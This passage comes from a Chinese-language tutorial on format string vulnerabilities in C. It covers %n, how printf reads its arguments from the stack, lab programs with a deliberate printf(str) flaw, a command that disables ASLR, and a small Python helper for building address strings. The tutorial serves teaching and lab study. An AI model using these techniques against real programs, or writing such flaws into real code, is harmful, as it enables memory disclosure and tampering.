    printf("The value of s is %n",&s);
    printf("%d\n",s);
}
// The value of s is 18

你会发现s被赋值为了18,因为printf在%n之前已经输出了18个字符:“The value of s is ”(包括空格)然后%n就把18写入了s所在的地址对应的内容,也就是赋给了s。

现在你应该比刚才清楚一点%n的用法了吧。事实上,如果你敏感,你就会发现通过%n,我们修改了本来不能修改的内存的内容!这是极其危险的一件事!这也是漏洞修改内存值的核心!具体的使用会在漏洞部分详细介绍。

0x02 printf()函数

现在我们知道了格式化字符串,再来了解一下printf()。

printf()是C语言中为数不多的支持可变参数的库函数。就是说你想给printf()传几个参数都可以。根据规定,函数在调用的过程中,传入函数的参数从右到左逐个压入栈中。例如:

print("%d %d %d",1,2,3);
// 1 2 3

反汇编看的更直观一点:

push    3
push    2
push    1
lea     edx, (aDDD - 1FD8h)[eax] ; "%d,%d,%d"
push    edx             ; format
mov     ebx, eax
call    _printf

在这个例子中,我们制定了参数的数量为3和类型为十进制整数,那么printf()就会在栈中向前找三个值并按照十进制整数的形式输出出来。

还是这个例子,只不过我稍微改变一点:

print("%d %d %d",1,2,3,4,5);
// 1 2 3

反汇编看一下:

push    5
push    4
push    3
push    2
push    1
lea     edx, (aDDD - 1FD8h)[eax] ; "%d,%d,%d"
push    edx             ; format
mov     ebx, eax
call    _printf

函数将五个参数都压入了栈中,但是按照format的指示只按照十进制整数的格式打印了前三个参数。

可以看到,对于可变参数的函数,printf()本身并不知道传入参数的数量,也不知道在函数调用前到底有多少参数被压入栈中,所以它要求传入一个format来告诉它有几个参数,你有几个格式化字符串,printf()就认为你传入了几个参数。并忠实的按照format的指示,以指定的格式在指定位置打印指定数量的参数。

这就存在一个问题了。假如我们给printf()实际传递的参数数量小于我们所给的format怎么办?例如:

printf("%d,%d,%d\n",1,2);

这时候我们告诉printf():“我给你传递了三个参数,请把这三个参数安装十进制整数的形式打印出来!”而实际上,我们只给printf()两个参数,那这时候会发生什么呢?先自己思考一下,再往下看。

运行结果如下:

1566005116498

可以看到除了我们输入的参数1、2以外,printf()还打印出了一个值,这个值是什么呢?这个值就是栈上在保存的我们两个参数之后的第三个值,由于我们告诉printf()我们传了三个参数,所以它就会在栈上向前找三个值。也就是说,通过这种方式,我们可以读取本来不应该被读取到的内存的内容。

再来看一个例子:

printf("%x %x %x %x %x %x %x %x %x %x\n");

1566005556194

可以看到printf()将栈中format后10个内存的内容都以十六进制的形式打印了出来。

0x03 格式化字符串漏洞利用

有了上面的前期储备,我们就可以来聊聊格式化字符串漏洞的利用了。实际上,这个漏洞的产生可以说是因为程序员的偷懒。比如下面这个简单的程序:

char str[100];
scanf("%s",str);
printf("%s\n",str);

1566006155661

这样写是没有问题的。但是有的时候程序员会偷懒,写成这样:

char str[100];
scanf("%s",str);
printf(str);

没有format,但是程序也能正常运行。

1566006274630

但是这时候由于没有format,printf()实际上并不知道传入了几个参数,那么如果我们输入:aaa.%x会发生什么呢?

1566006429774

我们发现,printf()打印出来了本来不应该被打印出来的内存中的值。

这样一来,通过这个漏洞,我们可以实现任意内存的读和写。

任意内存读取

还是上面这个程序,我们可以用很多个格式化字符串来读取很多个内存地址的内容

1566023620247

也可以通过之前说的n$来读取特定偏移量的内存,比如说我想读取第六个内存中的内容,就可以这样构造:

1566023730070

现在我们就读取到了栈中第六个内存地址中的内容。实际上41就是A的十六进制ASCII码,这个地址中存的就是我们输入的“AAAA”(注意,并不是说printf()一直会把输入的内容存到偏移量为6的内存中,只是在这里是如此,具体存到偏移量为几的内存中需要我们自己通过构造很多个%x去找)。

通过%x可以读取内存中的值,通过%s可以读取以内存中的值为地址的字符串。

比如上面如果你用%s,你就会读取0x41414141为首地址上对应的字符串(如果有的话),如果该地址上没有,就会报段错误Segmentation fault。

1566024610292

这实际上是因为访问了不可访问的内存。例如该内存已经超过了系统所给这个程序的内存空间。我们要访问0x41414141,结果这个程序根本没有这个地址,那当然会报错啦。或者是这个内存是受系统保护的,我们不能访问。

我们再举一个%s的例子,在开始实验前,首先你要确保关闭了linux的内存地址随机化机制,否则每次运行程序,数据的地址都不一样,无法进行实验。关闭方法:

echo 0 > /proc/sys/kernel/randomize_va_space

关闭了之后就可以愉快的开始我们的实验了。我们看这个程序:

#include <stdio.h>
#include <string.h>

void main(int argc,char **argv)
{
        char str[100];
        char s[10]="hello pwn!";
        printf("%x\n",&s);
        strcpy(str,argv[1]);
        printf(str);
}

这里没有输出s的内容,如果我们想看到s的内容,那我们就可以通过格式化字符串漏洞达到目的。

攻击思路:首先我们看看“hello pwn!”所在的地址是什么,然后我们通过构造输入把这个地址存到内存中,再通过%s来读取“hello pwn!”。

构造地址可以通过输入字符串,让内存中存字符串对应的ASCII码这种方法来构造,比如如果要让内存中的值为44434241我们就可以输入ABCD(A的十六进制ASCII码为41,在内存中以十六进制存储且为小端序存储,所以41在最右边)。

但是如果地址像ff1b6800这样,那么我们就没法通过这种方式进行构造,因为我们很难找到该ASCII码对应的字符串并输入。这时候我们就要用到printf命令,将shellcode转义(直接输入\x00\x68\x1b\xff这样)。使用的时候把printf命令用反引号括起来。但是注意如果是用scanf输入字符串,则没法使用printf命令,而且scanf和命令行输入的shellcode没法被直接转义。因此,我们给的例子是使用strcpy赋值。

那么我们开始构造输入:

1566029291179

通过构造输入,我们成功改变了内存为ffffd4fe(偏移量是14)。

注意:这个程序没写好,如果输入参数个数不同,s的地址也会变化,比如我输入”`printf “\xfe\xd4\xff\xff”`.%x”时输出的就不是ffffd4fe而是ffffd52e。所以传入的参数数量需要固定,这一点需要注意。实际上,把s设置成静态的(在s前加static)就可以解决问题。下一个例子就改正这个问题。{{xiaoku}}

现在我们已经可以把偏移量为12的内存中的值变成s所对应的内存地址,那么我们把最后一个改成%s,即输出该内存值对应的地址中的字符串。

1566029414006

可以看到我们成功的读取出了s的内容。

任意内存修改

光读取还不够,最重要的是我们可以任意的对内存进行修改,这才是这个漏洞最可怕的地方。修改的方法其实上面已经说到一些了,那就是通过%n。

看一个例子:

#include <stdio.h>
#include <string.h>

void main(int argc,char **argv)
{
        char str[100];
        static int a = 0;
        printf("%x\n",&a);
        strcpy(str,argv[1]);
        printf(str);
        printf("\n%d\n",a);
}

我们的目标是修改a的值。先运行一下看看正常情况下是什么情况

1566032185561

可以看到a为初始值0,那么下面开始构造:

1566032317311

可以看到偏移量为10,把最后的换成%n

1566032384441

可以看到我们成功的改变了a的值,86是因为\x0c占一个字符,所以四个数有四个字符,“.”占一个字符,%x占8个字符,一共10个“.”,9个%x,最终加起来在%n前面一共输出了86个字符,所以是86。

如果要用n$的话,记得要在前面加反斜杠\转义:

1566033484942

最后在附上一个我自己写的小脚本,用来构造地址的,比如说要构造41414141,那么你需要输入的字符串就是AAAA。这个小脚本就是告诉你需要输入的字符串是什么,只需要你填入要构造的地址就行了。(如果ASCII码比较奇怪的可能就不行了,比如ASCII码是0x0B什么的)

'''
Author: Winny
Date: 2019.08.16
'''


def pocstr(addr):
    frag = []
    for j in range(0, len(addr), 2):
        frag.append(int(str('0x') + addr[j:j+2], 16))
    frag = frag[::-1]
    for s in range(len(frag)):
        print(chr(frag[s]), end='')


pocstr('41414141')
#输出结果:AAAA